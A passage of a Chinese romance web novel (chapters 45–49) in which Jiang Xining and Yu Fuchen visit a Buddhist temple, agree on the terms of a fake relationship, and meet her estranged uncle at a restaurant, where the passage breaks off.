等她反应过来,话已经说出口。
比预期来的晚的沉默。于付忱没说话,但也没否认。
过了半分钟,江熙宁从这种“啊,不是我预想的答案”中的遗憾跳脱出来,开始思考于付忱有喜欢的人这件事。
他认识范老是大学那会儿的话,至少大学的时候便已经喜欢上了。这么多年,还没在一起?
不是,有喜欢的人还出来相亲?!
于付忱看着江熙宁的表情从他说完那句话后变化可谓十分丰富,斑驳的阳光在她的耳环上跳跃,脸上有比这春机更盎然的生动。
好奇,震惊,恍然,还有一丝……惋惜?
话题就这么停在那。
她似乎没打算继续问下去。
于付忱:“在想什么?”
……
这都被他看出来了?江熙宁略尴尬的摆手。
“没,什么都没想。”
其实想了。
而且是第一时间想的。
于付忱在青大从不和异性来往,如果他喜欢的人也是青大的,答案的范围并不大。
于付忱:“佛门重地,不可以撒谎。”
江熙宁这才发现在他们前方的,是宁城香火最旺的法隐寺。不知不觉,竟然走到这里来了。
她不想再往身上揽一个玄学,只好如实道:“我只是在想,那人……我认识?”
“嗯,你认识。”
江熙宁没想到于付忱没有犹豫便回答了。反倒显得她这个问的人,谨慎又多虑。甚至这平静的语气让她有种错觉,于付忱还挺希望她知道的。
这是可以让她知道的吗?
还是说,他觉得之前已经传过绯闻,他认为她有心理预期,又或者是觉得艺术从业者对于爱情的接受范围良好。
所以,对于他喜欢的人是许终南这一点,完全不在意!
江熙宁相信真爱可以跨越一切世俗的东西,距离、年龄、性别、金钱、阶层。只是以于付忱和许终南的身份和地位,想要公开,更是困难重重。
人心中的成见,是座大山啊!
苦命鸳鸳。
菩萨保佑。
“来都来了,要不要去许个愿?”江熙宁站在法隐寺的台阶下,仰头望着朱红色的门前。
法隐寺以灵验闻名遐迩,信徒众多。乔西娅读书多考的分,都是在这里抱佛脚求来的。当初也是因为她说的神乎其神,江印生日的时候,江熙宁特意来求了学业符,图个好彩头。
正好可以给姜海澎去求一个平安福。
于付忱垂眸看了她一眼,语气平淡:“我更信我自己。”
坚定的唯物主义者!
江熙宁心底莫名认同。那天在得到经安的解答后,她不信邪的盯着画像看了整整一个钟头。结果就是越看那张脸越奇怪,就好比盯
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着一个字太久了,越看越觉得奇怪一样,最后什么也没看出来。
要说是玄学,还不如说是老天暗示她接近于茂林的办法来的更准确。
从这个角度想,这事儿还靠谱些。
路过正门时,一对结伴而行的兄弟从两人面前走过,江熙宁忽然听到其中一人在说:“这儿的菩萨是真灵!年前我来这儿许愿,求表白能成,结果真成了!你不是要跟你女神表白吗?听兄弟一句劝,先来这儿拜拜,准没错!”
另一个男生有点半信半疑:“有这么玄乎?都是心理暗示吧。”
“宁可信其有,不可信其无!”
江熙宁忍不住侧头看了眼向着寺庙里走进去的人,又瞥向于付忱。他神色如常,仿佛什么都没听见。
他本人就非常不玄学,和画像上那张扰人心神的脸压根就不像嘛。
于付忱已经走出几步,忽然停下,回头看她:“你信?”
“啊?”
江熙宁脑子里正买家秀卖家秀呢,于付忱忽然问她一时没反应过来,思考也慢了一拍。
佛祖面前问这种问题。
信不信的,哪敢妄语。
况且心愿实现了,到底是玄学的力量呢,还是自身的努力呢?
“这又没法证伪。”她低声嘟囔了一句。
闻言,于付忱沉默了几秒,转身往回走:“走吧。”
江熙宁惊讶地看着他:“你不是不信?”
“我试试。”他转头看她,目光灼灼,“能有多灵。”
-
寺内。
殿前的铜炉里,香柱燃得正旺,青烟缭绕,缓缓升腾,融进微凉的空气中,带着淡淡的檀香。
殿内佛像庄严肃穆,金身微光,低垂的眼眸仿佛注视着每一个来往的人。喃喃的祈愿声混在木鱼敲击的节奏里,时远时近。
两人并肩跪在佛前,叩拜时,江熙宁余光看见身边的人,闭着眼,双手合十,劲瘦的手腕与唇齐平。
低头、弯腰。
额前的碎发微微落下,垂直于地面。
背着光,清俊的轮廓随着动作明明暗暗,颇为虔诚。
江熙宁突然联想到刚才门口两个男生的话。
这人分明是自己听进去了吧,还说什么信自己的话。
似是察觉到她异样的目光,一旁的人完成叩拜的动作后,目光已经转过来。
江熙宁赶紧闭上眼。
继续磕剩下的两个头。
半个小时后,两人已经拜完所有菩萨的码头。
往外走到寺庙出口的法物流通处时,江熙宁去给姜海澎请平安福。
因为香客众多,四十多平的空间内,人满为患。
玻璃柜里陈列着各式法物:玉佛温润端庄,玉器晶莹剔透,手串与念珠整齐排列,护身符和福袋则被摆放在最显眼的位置。护身符的柜前排起了长长的队伍,付款的队伍也蜿蜒曲折,几乎延伸到门口。
为了节省排队的时间。
于付忱说:“你挑,我去排付款。”
江熙宁点头:“好。”
等排队时,姜海澎发来消息。
姜海澎:【爬山爬的怎么样,还开心吗?】
这哪里是问爬山,分明是在问她对这次相亲相后感。
江熙宁瞥向另一条队伍里那个身影。她忽然意识到一个被忽略的问题。
于付忱即然知道她和姜家的关系,那他来之前应该就知道今日的相亲对象,是她。
但他来了。
46. 第 46 章
法物流通处内人头攒动,空气中檀香混合着些许汗水的热气,在狭小的空间里氤氲不散。江熙宁挑了两个护身福好不容易从人群中挤出来,感觉心口处闷出一层薄汗。
她抬眼望去,付款的队伍已经快要排到于付忱。
"好了?"于付忱回头看到她。
江熙宁点点头,快步走过去。
"喏,这个送你。"她摊开手心,指了指其中的一个福袋,"加持你刚才和菩萨许的愿,想什么都能实现。"
透明的PVC皮套里,朱红色的织锦上绣着【观音赐福】四个字,金线在阳光下泛着光。于付忱接过,修长的手指翻过比一寸照大不了多少的福袋,背面绣着【心想事成】四个字。
他低头看着手中的护身符,唇角扬起,眼里带着一丝若有若无的笑意。
“任何事都可以?”
江熙宁愣了一下:“不是说要试试。”
于付忱收起掌心,摩挲着光滑的塑料壳子:“如果是求一个——”
“让让,让让!”
就在这时,一个挎着补货箱的工作人员嚷着从江熙宁身后挤过,空间狭窄,她下意识顾着避让。考虑到面前的于付忱,她以背对着他的姿势侧身。
不想,纸箱有些大,卡在挤闹的人群中,工作人员只好将箱子举高到肩膀位置穿行。
经过江熙宁前面时,箱子几乎要贴上她的脸,她被迫后仰脑袋,防止来一个亲密接触。
然而下一秒,后脑勺便抵到一个坚实的胸膛。
熟悉的气息顷刻将她包裹。
视觉处于盲区让听觉感官一瞬放大。周围的喧闹声,像是被按下了静音键。近在咫尺,连心跳都能隐约听见。
多年的职业素养和艺术熏陶,让江熙宁都不用回头,脑海中立刻呈现出此刻画面。
她,现在,水灵灵的躺在了人的怀里。
……
怎么会?
明明她预估过身后的距离,且控制在安全的合理的避让距离。
应该不会撞到的。
人群中有人尖叫着喊了句,“别挤啊,谁踩到我的鞋了!”
江熙宁僵在原地时,后面的人微微低头,低沉的呼吸逼近。
“人太多,去外面等我。”
说完,于付忱已经侧身让出一点空间。
后背的热意骤然远离。
江熙宁脑子里空白了一瞬,这和上次他醉酒的接触不一样,喝醉了醒来估计都不记得发生了什么。
但这会儿他是清醒的。
她抿了抿唇,没回头,目光胡乱地扫过队伍,这才发现自己单独又站了一排,看起来像是插队的。她从包里拿出手机,指尖快速在屏幕上操作:"转账给你了,有劳。"
走出法物流通处,江熙宁才长舒一口气,将胸腔里那股莫名的紊乱一并呼出。
他又不喜欢女生,怎么自己还莫名紧张。大概是这人实在无法忽视的直男气质?
……
外面的空气清新,带着淡淡的花香,江熙宁逐渐摆脱混乱的思绪。
寺门前的玉兰树开的仍盛,等于付忱时,她的手机震动了两下。
是姜爸发来的消息。
几分钟前,江熙宁已经想明白了于付忱当初提合作的动机,一石二鸟之计。
明着,可以解决于天文不回青城的问题。
暗着,还可能抵住家里催婚的压力。
对于她而言,何尝不是。
而如今对于她来说,是见到于茂林的机会。
至于于付忱为什么选择是她,或许正因为她是李晋许的前任,许终南对这样的合作不会有别的担忧。于是她回复姜海澎【挺好的。】
姜海澎似乎还有担心:【爸爸只能帮你把关,于付忱这孩子不错,稳重,也没什么花边新闻,但不要因为爸爸生病,为了哄我开心说违心话知道吗?一切都以我女儿喜欢为准。不喜欢不用勉强,爸爸再给你找更好的。】
江熙宁知道,于茂林这样身份的人,想要认识、再接近,需要花费很多的时间和精力。
纵使即使没有于付忱的帮忙,她也会想尽一切找到办法,就像当初找武怡一样。
但时间。
时间太久。
且机会,并不常有。
也不总是留给有准备的人。
江熙宁再次抬眼时,于付忱的身旁多了个青春靓丽的女生。女生长的漂亮,扎着高马尾,眉眼飞扬,正和于付忱说着什么。她的笑容明媚,带着这个年纪的女孩的活力张扬。
江熙宁离得远,听不清两人在说什么,只看到女孩子举着手机,抬起的手腕上露着一截崭新的红绳。
那是法隐寺的备受追捧的姻缘红绳,撮合了少善男信女。
有人,这是
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中桃花了。
女生:“这位同学,你手上的红绳是我的。”
“同学?”
于付忱低头看了眼手中的红绳,眉梢微沉,似乎对这个称呼有些意外。他今天一身休闲装,清爽利落,带着几分少年特有的随性和慵懒。阳光从侧面洒在他的肩头,勾勒出一道修长的剪影,乍一看,确实像个大学生。
“这红绳这么神奇?”女生不可思议的看着眼前这个皮相和气质都一等一的男人,小鹿乱撞惊呼道:“这是不是说明菩萨已经听见我的心愿了!太灵了吧!”
于付忱没接她的话,语气淡淡:“说明你爱丢东西。”
“……”
女生愣了一下,片刻后笑出声来:“你还挺有意思的嘛!”
“这是菩萨暗示给你的,我不好回收。”她举起手机晃了晃:“加个微信?交给朋友。”
于付忱见她迟迟不伸手接过红绳,有些不耐,“抱歉。”
女生嘟囔了一句:“难不成菩萨给我指的是有女朋友的?”
于付忱没回答,目光却越过她,落在了远处。江熙宁正站在玉兰树下,阳光透过玉兰洒在她的肩头,耳垂上跳跃着细碎的光点。
她似乎察觉到了他的视线,抬眸看了过来。
四目相对,于付忱的眉眼不自觉地松了一下,目光直直地落在她身上。
江熙宁在这一瞬做了决定。
对于于付忱来说,合作的人,不是她,也可以是别人。
除去两人有些尴尬的关系之外,平心而论,眼前的这个男人,长相、身材、智商情商,没什么可挑剔的。有他这样一张‘挡箭牌’,能让她在感情上少些无谓的纠葛,让她专注自己想做的。
最关键的一点,他不喜欢她这一类型的,等他回了青城和姜爸说不合适就能清爽分手,结束合作。
这么一想,于付忱倒真是绝佳的合作对象。
这么想着,她已经笑意盈盈的站在了两人的面前,目光扫过女生手中的红绳,语气轻快:“好漂亮的红绳,”
江熙宁边夸赞,边递给于付忱一个帮你解围的眼神:“就是看着有点不配你。”
于付忱眉梢一扬,看着她,明明还是那冰冷的语气,但莫名扬着调。
“那什么比较配?”
江熙宁歪了歪头,笑的比外面的大朵的玉兰灿烂。
“我啊。”
47. 第 47 章
檐角铜铃被晨风撞出脆生生的响,木格窗滤进明媚的曦光。
他个子高,摩肩接踵的人群里,这光独独印在于付忱的眉眼上,极有冲击力。
他垂眸看向江熙宁,喉结微动,忽然轻笑一声。
“很明显。”他目光未移分寸,回答女生的问题:“菩萨也会有工作失误的时候。”
女生看着般配的两人,脸色肉眼可见的红温,怔忡间队伍后面的一位香客阿姨说:“小姑娘,许愿的时候和菩萨说清楚心愿还不够,你的名字,年龄,生辰这些具体信息也要和菩萨说,免得菩萨弄错人。”
女生拿走自己的红绳:“下次记住了!!”
走之前,怕江熙宁误会,她连连道歉:“不好意思啊,我不是有意打扰你男朋友。”
江熙宁大方的摆摆手,“不要紧不要紧。”
她朝于付忱努努下巴:“他的问题。”
“?”女生清澈的眸子里是坦荡荡的疑惑,明明是她主动来搭讪的。
江熙宁:“怪他长得好看,还出门招摇。”
-
快到八点,来寺内的游客多了起来,两人向外走时,又涌入了不少戴着着红绳的年轻人。
在禁欲的寺庙,求姻缘。世界上真是有很多细想起来,不可思议的事。
她没忍住笑,收回目光时,对上于付忱平静的目光,大抵是被这太阳暖的久了,竟然觉得柔和不少。
“怎么突然跑来假扮女朋友?”
“我不是为了帮忙,让你早点脱身。”
“演技不错。”
江熙宁弯了弯唇:“我也觉得!”
就说这人不会这么不领情。
下一秒,于付忱又说:“嗯,意料之中。”
?
意料之中?
自己什么时候给人留下了有演员潜质的印象?
就在江熙宁纳闷的回溯两人为数不多的交集时,第一次在画廊重逢时装不认识的回忆陡然袭击了她。
拙劣到至今想起来都能抠出三室二厅的演技。
这人分明当初一眼看穿,如今还夸她演技好。
她又不是许终南。
江熙宁:“你喜欢演员,我又不是。”
“谦虚了。”于付忱抬臂,手里捏着两个福袋从掌心掉落,在空中随风轻晃。
“平日里没有发挥的余地罢了。”
“……”
江熙宁伸手去拿给姜海澎的平安符,就着这话题顺杆上爬。
“那我是不是还要谢谢你,那天提议假扮情侣,给我发挥的机会噢。”
失败的planA再次重启,于付忱的眉心一跳,手上的动作一顿,力道未松。
江熙宁向下拽时,没拽动。
她甚至感觉对方还攥紧了些,一股倏然回收的力量,隔着滑腻的绳子传递到她的指尖,与指尖肌肤摩擦时,生出一缕热。
场面凝固下来。
游客来来往往,只有两人在涌动的人流中安静如鸡的站停着。
于付忱看向她的目光像是要穿透她的瞳孔,直抵她拒绝之后又临时起意的动机。
沉默的两秒里,江熙宁觉得像是过了两个世纪那么漫长。
但话都说出口了,她也没打算收回或转移。虽然她清楚的记得当初拒绝的是多么干脆利落、毫不犹豫。
合作第一次没聊成,不是很正常嚒。
她抬起眼。大概是在热烘烘的阳光下呆的久了,眼前的人投下来的目光又烫人的很。江熙宁觉得自己在升温,凭添了几分紧张,她短促了吸了口气。
好在,于付忱很快打破凝滞的气氛。
“这算是答应了?”
江熙宁避开这人的视线,也不看他,点头的同时手下又用了点力去扯福袋。
于付忱怕细绳弄伤她的手,松开掌,指尖向着天空的方向延展。
江熙宁这才注意到到福袋另一端的一圈红线,不是被他捏着的,而是分别穿在他食指和中指上。
因为刚才的拉扯,朱红色的绳线在他的骨节分明的中指上,勒出一圈浅浅的红印。
乍一看,像是戴着枚淡粉的戒指。
“拿错了。”于付忱提醒。
两个福袋,都是【观音赐福】的字面对着她,江熙宁翻过面,她扯着的是【心想事成】。
……
“这才是你的。”于付忱双手交叠,取下红绳,颇有分量的东西滑入江熙宁的掌心。
除了平安符,还有一串白玉菩提。
软糯柔和的珠子,打磨的油润圆亮。绳圈上坠着一个小小的玉牌,刻着禅意十足的【如意】二字。
这人什么时候请的?
江熙宁惊讶的仰头。
山间的春风姗姗来迟,掠过他们头顶的玉兰树,带下一场花瓣雨。
一片玉兰花瓣恰好从两人中间飘落,遮挡住江熙宁的视线。
簌簌声中,于付忱的声音混着触地的轻响,一并落入她耳中。
“如你心意。”
不知道是指涉的是合作一事,还是解释禅语,蹦出的一句未尽的谶语。
江熙宁没费心思细究,她点点头:“既然要合作,我们就要聊一聊彼此具体的诉求。”
于付忱:“你说。”
江熙宁:“第一,应付家里人够用的前提下,绝对不可以对外说是情侣。”
假扮的关系,不宜伸张,少一人知道,少一份麻烦。说一个谎,就要八百个理由来圆。
于付忱问:“家里人可以让知道?”
江熙宁:“当然。”
不然,怎么帮你挡住家里人的催婚呢。
随即她想到于付忱应该不会问这种蠢问题,转了转思绪后,意识到他说的是“江印”。
江熙宁补充:“但我哥,不能让他知道。”
“好。”
说完,于付忱又补了一句:“你说的哥哥里,包括姜明初吗?”
诶,知道这人严谨。
这倒是真的严谨。
如果姜海澎知道,想要瞒着姜明初是不可能。没等江熙宁开口,于付忱帮她下了结论:“貌似,他一定会知道。”
江熙宁抿抿唇:“不包括。”
于付忱勾了下唇:“好。”
“第二呢。”
“第二……”
合作的想法,仓促且临时,江熙宁现想着重要的“条款”,她一贯喜欢先小人后君子,前期把要求提的越细,日后才不会扯皮。因为矛盾大多来自于,合作前期双方没聊明白。
因为刚才的花瓣雨,玉兰树下来拍照打卡的人更多了。余光中的一对情侣十指相扣,男生在女孩儿的脸颊上浅浅印下一吻。
她看见的风景,于付忱不瞎,自然也看了个一清二楚。
江熙宁掌心和掌背相击,赶紧补充:“第二,君子之约,所以情侣一切过分亲密的动作就免了。”
假情侣,没有真福利这一点,她说出口时其实犹疑了零点几秒。
于付忱对她不可能感兴趣,这么说出口挺尴尬的,总感觉把他想成了什么龌龊下流之辈。
但还是那句话,丑话说前头。
不过,为了让这硬话软着陆,江熙宁找了个“容易露馅”的理由。
于付忱瞥她:“不是说演技好?”
……
那能一样?
江熙宁心里一紧,嘴就硬:“我是怕你露
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馅。”
“……”
好在于付忱压根没纠结这一点,嗯了一声:“你界定一个范围。”
他说的公事公办,又平静无澜,像是在让她量化工作Kpi。
……
这个问题……
需要思考亲密的物理距离,太远了不像,太近了别扭。
同时,还要考虑亲密行为的适用场合,先不说于付忱的长辈如何,就说姜爸眼神那么好,敷衍着装装样子,一下子就被他看破了。
下决定只需要一拍脑门。
真正实践,有无数困难。
“要不,具体情况具体再说?”说这话时,江熙宁抬头看向他。
于付忱倒是配合:“行。”
“第三条,是合作的期限。”
说到这,江熙宁停了一下。合作的内容双方现在都清楚,只是具体什么节点作结束呢?
她还没想的这么细。
到秋拍,还有半年。
但是万一,于付忱对她这“假女友”的需求,不需要那么久的时间呢?
江熙宁不大确定。
“要不……由我来决定?”
于付忱唇线绷直。
“打算临时通知?”他又问了一句:“霸道条款么,江熙宁?”
“……”
谈合作,都想自己多抓一些主动权,把己方的损失降到最低,江熙宁也是。但是被这么一质问,她觉得这确实有点过分。前两个要求,于付忱没有反对任何,配合的好像她在设置刚出厂的机器人程序,等设置完便能严格执行。
可是她又比较想坚持这一点,怎么办?
江熙宁有些苦恼。
人就是贪心,既要,又要,还要。
没办法啊,她想,合作有不可控的概率,本就是一段危险的假关系,她不想惹一身不愉快。抽身容易,是她在这合作关系中的最核心的要求。
万一,现在于付忱只是需要形恋,后面他不同意结束合作,想要形婚怎么办?
时间这么静止了两分钟。
距离她提出合作的时间,又拉长了一段间隔。
一瞬的冲动也在延长的空隙中渐渐消退。
停下的时间里,江熙宁退堂鼓隐隐作响,最优解不是唯一解。
“要不还是——
“定在你不需要我的时候。”于付忱打断。
他那张脸,一贯是漠然又倨傲的模样,说这话时依旧如此。像是等她思考太久,没了耐心,提供他的妥协方案。
江熙宁还是无端萌生竟把人逼到了这份上错觉。
“那你,对合作有什么要求?”
“没有。”
没有?
“一个都没有?”
于付忱嗯了一声。
他充分表现出一个绝佳合作伙伴诚意,但江熙宁有些心虚,这显得她要求有点多诶。
“那你想到了随时提,我提了三个要求,你也可以提三个。名额还是给你留着。”
“嗯。”
江熙宁这才放心的收起手串和平安符,她突然想起送福袋给他时,于付忱正要说心愿,求一个什么。
后来被工作人员打断,她没听清。
如果知道的话,看看能不能帮他实现一下,弥补一下。
现在过了最恰当的时机,再问起这么私密的心愿问题,总是不合时宜。
江熙宁指了指于付忱手里的【心想事成】,重复排队时香客阿姨的话:“我今天才知道,许愿要具体,你试试?”
“不用。”
于付忱单手入兜,将掌心的福袋送进绵软的布料中。
“……”
“实现了。”
48. 第 48 章【修】
前段时间下的雨,把春天最后的冷意都下完了,空气和风里如今只剩下暖意。天空澄澈的像块蓝宝石,没有云彩的遮挡,阳光就从高远处洋洋洒洒的落下来,温和而不刺眼。
撩人的春天,大家都像是遵循什么统一仪式般的在树下拍照打卡。
江熙宁被这氛围感染,也跟着拿出手机拍了两张。
她降低曝光,调整构图,选了个仰拍的姿势,避开窜动的人群,好让背景看起来干净些。
然后按下快门。
一张漂亮的春日图就此诞生了。
也不枉她今日早起。
就在这时,旁边的一对情侣走过来问江熙宁能不能帮忙拍合影。
江熙宁抬起头,笑道:“好啊。”
见她答应,女生兴奋的拉了把边上的男朋友,连连道谢。
拍完照,女生看着相机里氛围感一绝的合影,哇了两声:“这拍的也太艺术了,今日朋友圈有神图啦!”
江熙宁被这话逗笑,她的拍照技术和艺术是沾不上一点边,和身边真正那些大师的比起来,顶多也就能发发朋友圈。所以平日里聚会,她只有当模特的份。
女生收起相机,看了眼江熙宁和于付忱,热心道:“礼尚往来,我来帮你们拍?”
江熙宁心提了一瞬,她和于付忱,拍合照?
尴尬了点吧。
正摆手要拒绝,看见一旁的于付忱递过手机,淡淡的说了句:“谢谢。”
直到他站到她身旁,江熙宁还有点懵,但这真情侣才有的行为,非必要的时候情形能免就免了。
捕捉到她疑惑的视线,于付忱说:“发给家里人。”
江熙宁恍然。
她很想夸他演技其实不错,进入角色是真快。
“准备好了吗?”女生已经就位,站到了对面。
江熙宁心里一时复杂,不知道该拿出几分的表现力,看向镜头有些不自然起来。虽说知道这是两人达成交易的结果,但明知道是要拿去欺骗长辈,她心里多少还是有点负罪感。
“帅哥你离女朋友可以再近一点。”
对面的人指挥着,江熙宁感到身旁的人主动靠近一步,最后的一点距离消失,两人肩臂轻抵。
最冷酷的颜色,却最吸热。
餍足了阳光能量的热意向江熙宁倾泻而来。
“紧张?”
察觉到她微微绷紧的身体,于付忱偏过头。
江熙宁诚实的点头,“我没骗过长辈。”
“万一……”
“我说万一啊。”
“万一你爸妈对我这个假女友很满意可怎么办?不满意倒还好,合作完了,你就顺理成章说听从长辈之言,把我甩了。”
“……”于付忱似是被气笑,“江熙宁。”
江熙宁转过脸,两人的视线连在了一起。
于付忱直直的迎住她的目光。
深沉的,浮动的,带了点不悦。
“这么担心?”他的声音从喉间挤出,“不骗不就行了。”
-
他这话,什么意思?
……
江熙宁简单回顾了一下刚才的言论,再结合于付忱一贯对她的印象。
他觉得她合作起来事儿多?
“你这人!”江熙宁觉得有必要约束下这人捉摸不透的脾性和撂挑子的可能:“我得和你补充违约条款!”
于付忱闻言微微停顿,似乎没想到她会这么说,眉头不自觉皱起。
就在这时,对面出声提醒两人看镜头。江熙宁选择忽略他这暗含意味的眼神,先发制人瞪了回去:“好好拍!”
上了她的贼船,可别想跑。
漂亮的眼尾扫人时像极了生气的小野猫,说完,转过头对着镜头露出八颗牙齿,笑的明媚张扬。
表情瞬间切换。
于付忱看人鲜少有看不透的时候。即使是于茂林那种老谋深算的狐狸,暗中交手几回,他也摸清了对方的心思。
可唯独江熙宁,却是例外。
大三那年,于向华将集团下发展进入停滞的分公司丢给他,这家以开发艺术商业综合体的地产公司,原本是于茂林分管的业务。也就是在那一年,他发现这个爷爷看的比亲儿子还亲的叔叔,私底下竟然利用公司行艺术项目之便,替自己洗脏钱。
彼时于茂林入手了一批艺术画,打算经由二级市场抬价,再由自己控制的离岸公司购置,通过资本市场分散消化、最终达到彻底洗白的目的。
其中,就有梁媛的作品。
梁媛的艺术造诣无可挑剔,但她的画作价值在当时并不高。更重要的是,梁媛因保护画作而去世的悲剧,成了于茂林炒作其作品价格的绝佳条件。
恰巧那天,于付忱去学校,在行政走廊遇见江熙宁哭。他因梁媛而对她说了那番话。
当然安慰的目的更多。
不想短短三个月,于茂林的那一批画只有梁媛的砸在了手里。因为市面上流出了梁媛相同时期的作品,价格远低于于茂林收的那一副。
且据圈内消息,只要梁媛的作品继续进入市场,就有更低价格的作品出现。
于付忱几乎是在第一时间想到了江熙宁。
明明那一日,她脆弱的看起来像一个马上就要碎掉的漂亮娃娃。
竟能做到如此破釜沉舟、鱼死网破的地步。
然后那天,许终南提起两人在学校里的愈来愈盛的基佬传闻,对他说。
“阿忱啊,你要不找个女朋友?”
“喜欢你的这么多,难道就没有一个能入你眼的?”
“你喜欢谁你说,哪怕有男朋友的,兄弟我都帮你抢过来。”
他一贯对漂亮但空洞的女生毫无兴趣,即使眼睛尊崇人的生物性本能表示赏心悦目,却很难记起心底的喜欢。
如果说之前,他想不到有这么一个人。
在那一刻,他确定,若是有,应该是江熙宁那样的。
大四开学,于付忱回到学校,再见她,却是李晋许带她介绍道。
“我女朋友,江熙宁。”
从李晋许的口中,他得知她无数的碎片。
没有一个词,和他记忆中的那个形象有关。
原来,她还有许多切面是从未向旁人展示的。
许终南曾调侃,李晋许不过是喜欢江熙宁的美貌和校花的头衔。
如果,仅仅对皮相有好感就能称之为喜欢。
那他比李晋许只会更早。
早在入学见她的第一面。
那她又喜欢李晋许什么?
阳光有些晃眼,江熙宁的一截手臂穿过于付忱的臂弯,虚挽住了他的胳膊。然后暗暗用力,扯了扯他的衣袖,提醒他配合。
于付忱低头。
他看着她夺目的笑容里写满了别有用心。
可就是在这瞬间,他又突然觉得刚才思虑的那个问题不重要了。
别有用心又怎么样呢?
至少她愿意花上几分心思。
于付忱转过头,嘴角慢慢扬起一抹笑意。
更何况,这回她选择的人是他。
不是别人。
结束后,女生自然的把于付忱的手机递到了江熙宁手上:“我技术不好,我多拍了几张。”
果然如女生所说,拍了……很多!技术不够,连拍来凑,一眼看去,毫无差别的照片占满了于付忱的手机相册。
江熙宁瞄了眼于付忱,见他默许她看手机,才从后往前浏览照片。
照片里的她长发披肩,鹅蛋小脸,皮肤在阳光下白到发光。站在一旁的于付忱,沉静的看着
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镜头,没有多余的动作和表情,只是唇角的弧度小幅度的向着耳后延伸。
大抵是这人平日里很少挂笑,江熙宁就觉得她这会儿和周幽王看到褒姒笑了似的,觉得这这一点弧度明显的很。
表现的也太好了一点?
江熙宁弯了弯唇角,有人可真口嫌体直。嘴上不乐意,演起来挺像那么回事。
似乎是注意到她盯着这张照片许久,于付忱伸手挡在屏幕上方,遮住日光反射。
江熙宁这才顾及到正主还在旁边,继续往前滑。再前面几张,都是两人说话时连拍的。于付忱侧着脸没看镜头,眼睫微垂,目光专注。
在看她。
连着几张都是。
这人姿势没变,唯一变化的是表情。
从心情看着不错,到神情凝重。
足足翻了三屏的照片后,才翻完了今天拍的。因为是全屏浏览,所以无意中还往前多滑了一张。
依旧是两人的合影,但背景变成了画廊。是两人第一次见面时被拍的那张。
这照片……他保存下来了?
江熙宁抬头,不明所以的看向于付忱,“这不是有合照?”
应付家里也能用。
何必又要大费周章再拍一次,笑的她脸都要僵了。
“不一样。”
“?”
于付忱若无其事的拿回手机,扯了个理由:“于天文看过。”
他说的发给家里人看,是给于天文啊?
敢情刚才是白紧张,江熙宁扯了扯嘴角,如果是给于天文看的话,画廊里拍的那张确实不行。那时候她和于付忱还没“在一起”,时间线不合。
从寺里出来,江熙宁用手机查看路线,来的时候她把车停在八角亭附近的停车场,走过去还有七百多米。
……
她对运动这件事,向来是能偷懒就偷懒。她不喜欢那种大汗淋漓、黏糊糊的难受劲儿。至于早起锻炼,更是不符合她的风格。万年垫底的微信运动,明天估计喜提前排。
于付忱察觉到身旁的人越走越慢,侧过头看她,目光稍停:“走不动了?”
江熙宁点头。
就在这时,肚子里一阵震动,里面像有辆小火车开过,发出咕噜咕噜的声音。
好饿啊。
她早餐喝了一杯黑咖一片面包,如果是按平日里的消化速度,至少能撑到吃午饭。
但今日的运动量,让这点能量耗光了。
闻声,于付忱伸出手:“车钥匙给我。”
江熙宁原本以为,他是让司机帮她把车开过来,便递了过去。
不想听见他说:“你的车我让司机开走。”
……
-
于付忱带江熙宁去了附近的餐厅。
还不到用午餐的时间,店内没什么人,整个店像被两人包了场。进去后,服务员带他们上了二楼风景最好的用餐位。
桌牌上印着点单的二维码,江熙宁拿手机扫开。饿了的时候看什么都想吃,何况这宣传图拍的特别招人食欲,可惜胃只有那么大。
江熙宁选择困难症发作,这个时候,最好的解决办法就是让同桌的人先点。
视线下扫的功夫,她看见购物车里加入了九个菜。
江熙宁有点呆:“我们两个人……会不会太多了?”
于付忱把所有的招牌菜点了个遍才停手:“我吃过早饭了。”
???
给她点的?
牛胃也不带这么能吃的。
“你去掉你不爱吃的。”
“……”
见她睁着双大眼,把唇抿成直线的样子,于付忱忍不住逗她,语气却十分正经:“提前练习一下。”
“练习什么?”
“怎么当你男朋友。”
49. 第 49 章
江熙宁听到这话,心突的一跳,倒是于付忱说这话时神情没什么变化,就好像正常呼吸一样就这么说出来了。知道他了解她喜好的出发点,是为了让这假男友身份以后不容易露陷,但把话说的这么直白,她还是忍不住产生种被撩了的错觉。
江熙宁别开视线,懒得理她了,低头删减屏幕上两位数的菜单。
她毫不犹豫去掉羊肉、鸭肉等味道重的肉类,然后去掉所有带辣味的菜,剩下的青梅红烧肉,豆腐鱼,石锅香芋艿,芦笋西兰花和上汤豆苗五个菜,她打算再去掉一个。
决赛圈比一排美男站在面前还难选。
纠结了足足一分钟后。
于付忱看着屏幕上,特意为她挑的豆腐鱼,被点掉了。
江熙宁其实挺想吃豆腐鱼,奶呼呼的汤汁鲜美可口。但想到上一次,于付忱提到的男友服务,还是算了。天上没有掉馅饼的好事,附加服务,总是要支付额外的服务费。
况且她得做一个不多事的合作方,这样才能让合作友好的进行下去。
因为他们来的时间早,是店里唯一的客人,菜上的很快。
江熙宁尝过之后连连称赞。说起来对于宁城好吃的餐厅,她这个本地人好像都不如于付忱熟悉,像这几乎都不上推荐app,纯靠口碑的老字号店。如果不是特意的关注和搜索很难找到。联想到之前保镖对路况的熟悉程度,江熙宁不由的问:“这家餐厅也没做什么营销,你是怎么找到的?”
饭菜的香味弥散在空间中,于付忱往杯子里续上苏打水,清澈透明的气泡往上涌动。
“许终南拍戏来吃过。”
江熙宁明白了。所以他之前来宁城,应该是探许终南的班。
吃完饭,江熙宁感觉身上攒足了能量,加上吸收了一上午的日光,气血红润的像初绽的玫瑰,整个人都散发着勃勃生机与活力。
于付忱绅士地起身,去停车场取车。
江熙宁拿起包包,跟在后面下了楼。这会儿已经到了用餐高峰,楼下大厅座无虚席。她穿过熙熙攘攘的人群,即将穿过一处座位时,耳边突然响起了一道熟悉的男声,沙哑,粗粝,像常年被烟熏过的干木头。
都不用多看一眼,她就能确认那人是谁。
江熙宁捏紧手心里包包的带子,脚步没停,继续往外走。
嘈杂声中,男人似乎喊了她一声。
江熙宁没想到会在这里碰见梁耀,也不想于付忱见到她这些乱七八糟的血缘亲戚。她下意识瞄了眼走在前面的背影,还好他没注意到后面的情况,先行出门去了停车场。
就在这时,男人又喊了她一声,嗓门洪亮,穿透了整个大厅,被他这么一喊,周围用餐的人目光齐刷刷的朝她的方向看过来。
江熙宁转过身,直直对上梁耀的脸。
“我就说是我的外甥。”梁耀放下手中的酒杯,谄媚的和他一起来吃饭的人笑了笑。
江熙宁不想和这人纠缠,直接了当:“有事说事。”
